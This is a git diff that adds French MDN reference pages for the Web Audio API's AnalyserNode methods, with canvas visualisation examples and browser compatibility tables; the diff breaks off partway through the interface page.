+++ b/files/fr/web/api/analysernode/getbytefrequencydata/index.html
@@ -0,0 +1,159 @@
+---
+title: AnalyserNode.getByteFrequencyData()
+slug: Web/API/AnalyserNode/getByteFrequencyData
+translation_of: Web/API/AnalyserNode/getByteFrequencyData
+---
+<p>{{ APIRef("Web Audio API") }}<br>
+ <br>
+ La méthode <strong><code>getByteFrequencyData()</code></strong> de l'objet <a href="https://developer.mozilla.org/fr/docs/Web/API/AnalyserNode" title="L' interface AnalyserNode représente un noeud capable de fournir une fréquence en temps réel et l'analyse des informations temporaires. C'est un AudioNode qui passe le flux audio inchangé depuis l'entrée vers la sortie. Il a exactement une entrée et une sortie. Le noeud fonctionne même si la sortie n'est pas connectée."><code>AnalyserNode</code></a> copie les données de fréquence dans le {{domxref("Uint8Array")}} passé en argument.</p>
+
+<div>
+<p>Si le tableau a moins d'éléments que {{domxref("AnalyserNode.frequencyBinCount")}}, les excédants sont supprimés; s'il en a davantage, les excédants sont ignorés.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+
+// Uint8Array devrait avoir la même taille que frequencyBinCount
+var tableauDonnees = new Uint8Array(analyseur.frequencyBinCount);
+
+// remplit le Uint8Array avec les données retournées par la méthode getByteFrequencyData()
+analyseur.getByteFrequencyData(tableauDonnees);
+</pre>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Un {{domxref("Uint8Array")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec <a href="https://developer.mozilla.org/fr/docs/Web/API/AudioContext" title="L'interface AudioContext représente un graphe de traitement audio fait de modules audio reliés entre eux, chaque module correspondant à un AudioNode. Un contexte audio contrôle à la fois la création des nœuds qu'il contient et l'exécution du traitement audio, ou du décodage. On commence toujours par créer un contexte audio, et tout ce qui va se passer ensuite se situera dans ce contexte."><code>AudioContext</code></a>, puis utiliser  <a href="https://developer.mozilla.org/fr/docs/Web/API/Window/requestAnimationFrame" title="La méthode window.requestAnimationFrame() notifie le navigateur que vous souhaitez executer une animation et demande que celui-ci execute une fonction spécifique de mise à jour de l'animation, avant le prochain repaint du navigateur. Cette méthode prend comme argument un callback qui sera appelé avant le repaint du navigateur."><code>requestAnimationFrame</code></a> et <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/canvas" title="L'élément HTML Canvas (&lt;canvas>) permet de modifier une zone graphique via un script (habituellement en JavaScript). Par exemple, il peut être utilisé pour dessiner des graphiques, manipuler des images ou jouer des animations. Il peut être utilisé pour l'affichage d'un jeu en ligne ou tout autre contenu interactif. Il est fortement recommandé de fournir un contenu alternatif au contenu du bloc &lt;canvas>. Ce contenu pourra être utilisé par les navigateurs plus anciens ne supportant pas l'élément &lt;canvas> et ceux pour lesquels JavaScript est désactivé."><code>&lt;canvas&gt;</code></a> pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a class="external external-icon" href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a class="external external-icon" href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(tailleMemoireTampon);
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+
+  analyseur.getByteFrequencyData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = tableauDonnees[i];
+
+    contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)';
+    contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2);
+
+    x += largeurBarre + 1;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>array</dt>
+ <dd>Le {{domxref("Uint8Array")}} dans lequel seront copiées les données relatives à la fréquence.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-getByteFrequencyData-void-Uint8Array-array', 'getByteFrequencyData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a class="new" href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></p>
+
+<ul>
+</ul>
diff --git a/files/fr/web/api/analysernode/getbytetimedomaindata/index.html b/files/fr/web/api/analysernode/getbytetimedomaindata/index.html
new file mode 100644
index 0000000000..8baaf608b4
--- /dev/null
+++ b/files/fr/web/api/analysernode/getbytetimedomaindata/index.html
@@ -0,0 +1,169 @@
+---
+title: AnalyserNode.getByteTimeDomainData()
+slug: Web/API/AnalyserNode/getByteTimeDomainData
+translation_of: Web/API/AnalyserNode/getByteTimeDomainData
+---
+<p>{{ APIRef("Mountain View APIRef Project") }}</p>
+
+<div>
+<p>La méthode <strong><code>getByteTimeDomainData()</code></strong> de l'interface {{ domxref("AnalyserNode") }} copie les données de forme d'onde, ou du domaine temporel, dans un tableau {{domxref("Uint8Array")}} passé en paramètre.</p>
+
+<p>Si le tableau a moins d'éléments que la propriété {{domxref("AnalyserNode.fftSize")}}, les données en excès sont supprimées. S'il a davantage d'éléments, les éléments non utilisés sont ignorés.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> contexteAudio <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">AudioContext</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> analyseur <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span><span class="function token">createAnalyser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;
+
+</span></code>// La taille du tableau Uint8Array doit correspondre à la valeur de la propriété fftSize <code class="language-js">
+</code>var tableauDonnees = new Uint8Array(analyseur.fftSize);
+
+// remplit le tableau Uint8Array avec les données renvoyées par la méthode getByteTimeDomainData()
+analyseur.getByteTimeDomainData(tableauDonnees); </pre>
+
+<h3 id="Renvoie">Renvoie</h3>
+
+<p>Un tableau {{domxref("Uint8Array")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lignes 128–205</a>).</p>
+
+<pre class="brush: js">var <code class="language-js">contexteAudio</code> = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = <code class="language-js">contexteAudio</code>.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 2048;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+var tableauDonnees = new Uint8Array(tailleMemoireTampon);
+analyseur.getByteTimeDomainData(tableauDonnees);
+
+// dessine un oscilloscope de la source audio
+
+function dessiner() {
+
+      dessin = requestAnimationFrame(dessiner);
+
+      analyseur.getByteTimeDomainData(tableauDonnees);
+
+      contexteCanvas.fillStyle = 'rgb(200, 200, 200)';
+      contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+      contexteCanvas.lineWidth = 2;
+      contexteCanvas.strokeStyle = 'rgb(0, 0, 0)';
+
+      contexteCanvas.beginPath();
+
+      var largeurBarre = WIDTH * 1.0 / tailleMemoireTampon;
+      var x = 0;
+
+      for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+
+        var v = tableauDonnees[i] / 128.0;
+        var y = v * HAUTEUR/2;
+
+        if(i === 0) {
+          contexteCanvas.moveTo(x, y);
+        } else {
+          contexteCanvas.lineTo(x, y);
+        }
+
+        x += largeurBarre;
+      }
+
+      contexteCanvas.lineTo(canvas.width, canvas.height/2);
+      contexteCanvas.stroke();
+    };
+
+    dessiner();</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>array</dt>
+ <dd>Le tableau {{domxref("Uint8Array")}} dans lequel les données temporelles seront copiées.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-getByteTimeDomainData-void-Uint8Array-array', 'getByteTimeDomainData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/getfloatfrequencydata/index.html b/files/fr/web/api/analysernode/getfloatfrequencydata/index.html
new file mode 100644
index 0000000000..382218f900
--- /dev/null
+++ b/files/fr/web/api/analysernode/getfloatfrequencydata/index.html
@@ -0,0 +1,156 @@
+---
+title: AnalyserNode.getFloatFrequencyData()
+slug: Web/API/AnalyserNode/getFloatFrequencyData
+translation_of: Web/API/AnalyserNode/getFloatFrequencyData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <strong><code>getFloatFrequencyData()</code></strong> de l'interface {{ domxref("AnalyserNode") }} copie les données de fréquence dans un tableau {{domxref("Float32Array")}} passé en paramètre.</p>
+
+<p>Si le tableau a moins d'éléments que la propriété {{domxref("AnalyserNode.frequencyBinCount")}}, les données en excès sont supprimées. S'il a davantage d'éléments, les éléments non utilisés sont ignorés.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+
+// La taille du tableau Float32Array doit correspondre à la valeur de la propriété frequencyBinCount
+var tableauDonnees = new Float32Array(analyseur.frequencyBinCount);
+
+// remplit le tableau Uint8Array avec les données renvoyées par la méthode getByteTimeDomainData()
+analyseur.getByteTimeDomainData(tableauDonnees);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>array</code></dt>
+ <dd>{{domxref("Float32Array")}} dans lequel seront copiées les données de fréquence. Pour tout échantillon silencieux, la valeur est <code>-<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lignes 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 256;
+var tailleMemoireTampon = analyseur.frequencyBinCount;
+console.log(tailleMemoireTampon);
+var tableauDonnees = new Float32Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+  analyseur.getFloatFrequencyData(dataArray);
+  contexteCanvas.fillStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+  var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5;
+  var hauteurBarre;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    hauteurBarre = (tableauDonnees[i] + 140)*2;
+    contexteCanvas.fillStyle = 'rgb(' + Math.floor(hauteurBarre+100) + ',50,50)';
+    contexteCanvas.fillRect(x, HEIGHT-hauteurBarre/2, largeurBarre, hauteurBarre/2);
+    x += largeurBarre + 1;
+  }
+};
+
+dessiner();</pre>
+
+<h2 id="Paramètres_2">Paramètres</h2>
+
+<dl>
+ <dt>array</dt>
+ <dd>Le tableau {{domxref("Float32Array")}} dans lequel seront copiées les données du domaine fréquentiel.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatFrequencyData-void-Float32Array-array', 'getFloatFrequencyData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/getfloattimedomaindata/index.html b/files/fr/web/api/analysernode/getfloattimedomaindata/index.html
new file mode 100644
index 0000000000..171f5419c8
--- /dev/null
+++ b/files/fr/web/api/analysernode/getfloattimedomaindata/index.html
@@ -0,0 +1,166 @@
+---
+title: AnalyserNode.getFloatTimeDomainData()
+slug: Web/API/AnalyserNode/getFloatTimeDomainData
+translation_of: Web/API/AnalyserNode/getFloatTimeDomainData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <strong><code>getFloatTimeDomainData()</code></strong> de l'interface {{ domxref("AnalyserNode") }} copie les données de forme d'onde ou du domaine temporel, dans un tableau {{domxref("Float32Array")}} passé en paramètre.</p>
+
+<p>Si le tableau a moins d'éléments que la propriété {{domxref("AnalyserNode.fftSize")}}, les données en excès sont supprimées. S'il a davantage d'éléments, les éléments non utilisés sont ignorés.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var analyseur = contexteAudio.createAnalyser();
+
+// La taille du tableau Float32Array doit correspondre à la valeur de la propriété fftSize
+var tableauDonnees = new Float32Array(analyseur.fftSize);
+
+// remplit le tableau Float32Array avec les données renvoyées par la méthode getFloatTimeDomainData()
+analyseur.getFloatTimeDomainData(tableauDonnees);
+</pre>
+
+<h3 id="Renvoie">Renvoie</h3>
+
+<p>Un tableau {{domxref("Float32Array")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment créer simplement un  <code>AnalyserNode</code> avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>  (et en particulier <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lignes 128–205</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var analyseur = contexteAudio.createAnalyser();
+
+  ...
+
+analyseur.fftSize = 1024;
+var tailleMemoireTampon = analyseur.fftSize;
+console.log(tailleMemoireTampon);
+var tableauDonnees = new Float32Array(tailleMemoireTampon);
+
+contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+function dessiner() {
+  dessin = requestAnimationFrame(dessiner);
+  analyseur.getFloatTimeDomainData(tableauDonnees);
+
+  contexteCanvas.fillStyle = 'rgb(200, 200, 200)';
+  contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR);
+  contexteCanvas.lineWidth = 2;
+  contexteCanvas.strokeStyle = 'rgb(0, 0, 0)';
+  contexteCanvas.beginPath();
+
+  var largeurTranche = LARGEUR * 1.0 / tailleMemoireTampon;
+  var x = 0;
+
+  for(var i = 0; i &lt; tailleMemoireTampon; i++) {
+    var v = tableauDonnees[i] * 200.0;
+    var y = HAUTEUR/2 + v;
+
+    if(i === 0) {
+      contexteCanvas.moveTo(x, y);
+    } else {
+      contexteCanvas.lineTo(x, y);
+    }
+    x += largeurTranche;
+  }
+
+  contexteCanvas.lineTo(canvas.width, canvas.height/2);
+  contexteCanvas.stroke();
+};
+
+dessiner();</pre>
+
+<p> </p>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>array</dt>
+ <dd>Un tableau {{domxref("Float32Array")}} dans lequel seront copiées les données du domaine temporel.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatTimeDomainData-void-Float32Array-array', 'getFloatTimeDomainData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/analysernode/index.html b/files/fr/web/api/analysernode/index.html
new file mode 100644
index 0000000000..dcf94620e6
--- /dev/null
+++ b/files/fr/web/api/analysernode/index.html
@@ -0,0 +1,181 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+tags:
+  - API
+  - AnalyserNode
+  - Reference
+translation_of: Web/API/AnalyserNode
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p>L' interface <strong><code>AnalyserNode</code></strong><strong> </strong>représente un noeud capable de fournir en temps réel des informations d'analyse de la fréquence et du domaine temporel. C'est un {{domxref("AudioNode")}} qui transmet le flux audio inchangé depuis l'entrée vers la sortie, mais permet de capturer les données générées pour les traiter et/ou les visualiser.</p>
+
+<p>Il a exactement une entrée et une sortie. Le noeud fonctionne même si la sortie n'est pas connectée.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/12968/fttaudiodata.svg"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">N<dfn>ombre d'entrées</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de sorties</dfn></th>
+   <td><code>1</code> (mais peut ne pas être connectée)</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Mode de comptage des canaux</dfn></th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de canaux</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interprétation du canal</dfn></th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Héritage">Héritage</h2>
+
+<p>L'interface hérite des parents suivants:</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.AnalyserNode", "AnalyserNode()")}}</dt>
+ <dd>Crée une nouvelle instance de l'objet <code>AnalyserNode</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent. </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>Entier long non signé qui représente la taille de la <a href="/en-US/docs/">FFT</a> (transformation de Fourier rapide) qui sera utilisé pour déterminer le domaine fréquentiel.</dd>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>Entier long non signé égal à la moitié fftSize. C'est en général le nombre de valeurs qu'on manipule pour la visualisation.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>Nombre flottant à double précision qui représente la valeur minimale de puissance dans la plage de mise à l'échelle pour l'analyse des données FFT, pour la conversion en octets non signés - cela équivaut à la valeur minimum de la plage de résultats de <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>Nombre flottant à double précision qui représente la valeur maximale de puissance dans la plage de mise à l'échelle pour l'analyse des données FFT, pour la conversion en octets non signés - cela équivaut à la valeur maximum de la plage de résultats de <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>Nombre flottant à double précision qui représente la moyenne de la trame en cours avec la dernière trame analysée - elle permet de lisser la transition entre les valeurs.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copie les données de fréquence dans un tableau {{domxref("Float32Array")}} passé en paramètre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copie les données de fréquence dans un tableau {{domxref("Uint8Array")}} passé en paramètre.</dd>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copie les données de forme d'onde ou du domaine temporel dans un tableau {{domxref("Float32Array")}} passé en paramètre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copie les données de forme d'onde ou du domaine temporel dans un tableau {{domxref("Uint8Array")}} passé en paramètre.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="note">
+<p><strong>Note</strong>: Voir <a href="/fr/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualisations avec la Web Audio API</a> pour plus d'informations.</p>
+</div>
+
